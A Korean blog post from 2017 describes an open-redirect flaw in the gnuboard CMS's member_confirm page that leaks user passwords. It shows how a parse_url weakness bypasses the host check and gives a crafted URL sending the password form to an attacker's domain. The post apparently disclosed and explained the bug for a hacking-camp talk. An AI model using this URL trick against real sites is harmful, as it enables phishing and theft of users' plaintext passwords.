2017년 9월 23일 토요일

gnuboard open redirect & password leak

해킹캠프에서 web hacking 이라는 주제로 발표를 준비 하다보니 마음에 드는 Open redriect  real case를 찾지 못해 어쩌지 하다가 임준오랑 예전에 한국 CMS들을 미친듯이 털어서 키사 거덜 내자라는 프로젝트 비슷한걸 한적 있었는데 그때 임준오가 찾은 취약점이 생각나서 다시 봤더니 패치를 해도 여전히 취약해서 찾게 되었다.

member_confirm.skin.php:21~23줄을 보자


form 태그의 action부분에 url을 출력 시키는걸 볼수가 있다. 
만약 URL을 http://hacker.com/ 로 바꿔버리면 form 태그로 보내는 모든 값들을 해커가 가로챌수가 있을것이다.

자 그럼 저 form 태그가 어떤 값들을 한번 보자


몇개 안되는 input 중에 password를 보내는걸 확인 할수가 있다.

그럼 저 member_confirm.skin.php를 어디서 include하는지 찾아보자.



member_confirm.php에서 include하는걸 찾을수 있었는데 문제는 url 체크를 한다는거다
어떤식으로 체크를 하는지 확인 할겸  한번 check_url_host 함수를 보자



함수를 보니 앞서 걱정했던게 딱히 필요가 없어졌다 왜냐하면 parse_url 함수는 보기 보다 많이 멍청하기 때문이다.

우회 방법은 아래를 참고하면 된다.





이런식으로 우회를 하면된다. 패스워드 릭은 간단하다 

http://10.211.55.3/gb/bbs/member_confirm.php?url=http://adm1nkyj.kr%23@10.211.55.3/

이런식으로 url을 만든후 유저들에게 뿌리면 회원들이 비번을 입력할테고 그러면 해커의 서버로 유저의 비번이 날라올것이다. (비번을 입력할 확률이 높은 이유는 도메인이 실제 이용중인 사이트의 도메인이랑 동일 하기 때문이다)







이런식으로 평문 password를 해커가 가져올수 있다.

마지막으로 해킹캠프의 발표 후기를 지금이나마 조금 적어보자면 내가 발표한 시간이 점심 먹은후라 다들 주무실거 같아서 걱정이 많았지만 고맙게도 다들 재밌게 들어주신거 같아서 좋았다ㅋㅋ
그리고 발표를 하다보니 생각보다 시간이 길어져서 뒤에는 그냥 거의다 넘기다 시피 해서 아쉬웠다.
다음에도 기회가 되면 해보고 싶어질거 같다